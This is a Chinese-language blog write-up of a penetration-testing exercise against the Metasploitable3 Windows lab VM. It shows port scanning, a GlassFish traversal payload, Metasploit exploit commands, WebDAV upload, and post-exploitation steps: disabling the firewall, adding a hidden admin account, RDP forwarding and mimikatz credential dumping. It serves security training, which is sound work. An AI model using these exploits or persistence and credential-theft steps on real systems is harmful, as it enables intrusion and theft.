Metasploitable3打靶

发布时间 2023-04-14 17:00:26作者: 晨风晓曦

metasploitable3

一、环境搭建

介绍

该靶场与2不同,可自定义镜像操作系统,由于版权等原因,该靶场最好使用virtualbox搭建,使用VMware搭建可能会有无法连接网络等问题。

考虑需要培养线下无联网实战能力的原因,本次原则上只用kali里自带的工具,下次再推一些好用的工具。

本靶机可能内置一些安全机制,比如防火墙,权限设置等,另设ctf(藏有flag);此外,Metasploitable 3中有些漏洞在 Metasploit 中并没有漏洞利用模块,需要手工挖掘。

参考:https://github.com/rapid7/metasploitable3/wiki/Vulnerabilities

1.搭建环境

搭建挺麻烦的,你也可以自己在网上搜索metaspolitable3搭建教程

这里附上搭好的win2008R2环境,某度云链接: 可直接导入VMware,打开vmx就行了

账号密码:vagrant/vagrant

改nat网卡为dhcp,之前设置过静态IP地址

image-20230224202347564

image-20230225130355810

2.kaliIP

image-20230225130317674

二、信息收集

sudo nmap -p0-65535 -sS 192.168.1.139

image-20230224132112564

image-20230225141017426

21 Microsoft ftpd

22 OpenSSH 7.1

80 IIS httpd 7.5

1617 java-rmi

4848 Oracle GlassFish

5985 Microsoft-HTTPAPI/2.0

8022 Tomcat

8484 Oracle GlassFish 4.0

8585

8080

8282

8484 Jetty winstone-2.8

8585/tcp open http Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)

9200 wap-wsp?

49153 msrpc

49154

49203 Java RM+

49205 tcpwrapped

三、打靶

思路:由于这是针对内网中主机,一般都是从高危端口开始,外网是一般不可能给你开放这么多端口的,我们就正常从开放的Web服务开始打。

开放Web服务:

http://192.168.1.134/
https://192.168.1.139:4848/
http://192.168.1.134:8022/
http://192.168.1.139:8080/
http://192.168.1.134:8282/
http://192.168.1.139:8484/
http://192.168.1.134:8585/
http://192.168.1.139:9200/

80:http服务

目录扫描

image-20230225130038385

发现一些文件,我们查看并访问,发现是iis的指纹,推测iis短文件名漏洞

image-20230224234241510

这里推荐一款工具: GitHub上面的codetest

image-20230225131600319

http://192.168.1.139/caidao.asp

泄露的webshell

image-20230225145631120

image-20230225145924803

image-20230225145938362

这种方法不止使用caidao哈,之前还以为真中国菜刀才能连呢,才发现caidao是我们中国人webshell的统称。蚁剑生成的shell连接测试成功,所以此模块可以用来爆破别人传的webshell。

image-20230225172238147

4848 GlassFish

1.弱口令

查看并搜索相关信息:GlassFish 4848 默认密码

image-20230225174807217

默认密码失败。image-20230225174418459

知道有admin账户,并且是明文传输,可以对admin账户的密码进行爆破

image-20230225175215792

账号密码:admin/sploit

2.任意文件读取漏洞

漏洞描述:GlassFish由于开启了本地文件包含函数,并攻击者可以利用跳转的方式进行本地任意文件读取。

payload:

/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/

image-20230225193044639

8022 ManageEngine

1.默认密码弱口令

根据指纹,查找该Web服务的弱口令

image-20230225193155960

ManageEngine Desktop Central 9 admin

image-20230225193245055

image-20230225193330149

2.ManageEngine Desktop Central 9任意文件上传漏洞 CVE-2015-8249

use exploit/windows/http/manageengine_connectionid_write
> set rhosts 192.168.56.101
> set rport 8022
> set lhost 192.168.56.102
> exploit

image-20230225195047558

8282 tomact

1.后台弱口令

scanner/http/tomcat_mgr_login

image-20230225200602751

2.反弹shell

上一步拿到账号密码

使用模块:

multi/http/tomcat_mgr_upload
# 使⽤tomcat的tomcat_mgr_upload exp
msf6 > use exploit/multi/http/tomcat_mgr_upload
# 查看exp的使⽤说明
msf6 exploit(multi/http/tomcat_mgr_upload) > show options
# 配置
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword sploit
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername sploit
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.1.139
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8282
msf6 exploit(multi/http/tomcat_mgr_upload) > run

image-20230225203142446

8484 JenKins

1.未授权访问控制台,命令执行

image-20230225203954265

image-20230225204820859

2.下一步getshell

use  exploit/multi/http/jenkins_script_console
set rhost 192.168.1.139
set rport 8484
set targeturi /		#这里跟的是控制台路径,默认是/Jenkins,之前一直没成功就是因为这个的问题,多show options
run

image-20230225211322566

8585 WebDAV

image-20230225212419292

漏洞描述: WebDAV PUT写文件,如果 IIS在 Web服务扩展中开启了 WebDAV,并且网站主目录允许用户持有读写权限,那么就可以进行 PUT写文件操作。如果允许脚本资源访问,那么可以直接写入可执行文件进行 Getshell。

davtest是一个文件上传漏洞的检测和验证工具,通过KaLi工具DAVTest将发送各种不同类型的文件,以确定可以上传的文件用它来验证是否存在文件上传。

davtest /home/kali/test.php -url http://192.168.1.139:8585/uploads/

image-20230225212529832

连接shell

img

wordpress

http://192.168.1.135:8585/wordpress/

unix/webapp/wp_ninja_forms_unauthenticated_file_upload

phpmyadmin

http://192.168.1.135:8585/phpmyadmin

multi/http/phpmyadmin_preg_replace

9200 ElasticSearch

ElasticSearch RCE(CVE-2014-3120)

image-20230225221339720

Elasticsearch是一个实时分布式、开源的全文搜索和分析引擎,Elasticsearch是用Java开发的开源产品,可以自动索引JSON文档。

使用nmap扫描目标主机。我用的是快速syn扫描方法,结果显示目标主机由于传输协议存在错误,导致存在漏洞。

nmap -sS -sV -T4 -v -n --open --reason 10.0.2.6

Image for post

 exploit/multi/elasticsearch/script_mvel_rce
 set rhost 192.168.1.135
 run

image-20230227124311441

meterpreter >shell
netsh advfirewall firewall add rule name="allowRemoteDesktop" protocol=TCP dir=in localport=3389 action=allow
关闭防火墙或开启3389入站规则
netsh firwall set opmode disable
创建隐藏用户
net user admin admin@123 /add
net localgroup administrators admin /add
开启本地转发
meterpreter > portfwd add -l 7777 -p 3389 -r 192.168.1.135
kali:rdesktop 127.0.0.1:7777  

image-20230227133546793

抓取用户hash

meterpreter >upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe C:/tmp
rdesk运行
privilege::debug
sekurlsa::logonpasswords

image-20230227142255720

端口

端口:21 IIS 爆破

auxiliary/scanner/ftp/ftp_login

端口:22 爆破 vagrant/vagrant

auxiliary/scanner/ssh/ssh_login

139NetBIOS 445 - SMB

PsExec实际上是一个可让你在其他系统上执行远程命令的可执行文件。要执行命令,你必须要有远程主机的本地管理员凭证。目标主机上的多个用户存在弱口令,这些口令可以轻易的被枚举出来并用于psexec执行远程代码。PsExec运行在445端口,我们可以在目标主机上获得命令交互,不过会被安全软件检测到。
exploits/windows/smb/psexec
 set rhost 192.168.1.135
 set SMBuser vagrant
 set SMBpass vagrant 
 run

161 snmp

auxiliary/scanner/snmp/snmp_enum

1617 jmx

multi/misc/java_jmx_server

3306

windows/mysql/mysql_payload

5985 WinRM

auxiliary/scanner/winrm/winrm_cmd
auxiliary/scanner/winrm/winrm_wql
auxiliary/scanner/winrm/winrm_login
auxiliary/scanner/winrm/winrm_auth_methods
exploits/windows/winrm/winrm_script_exec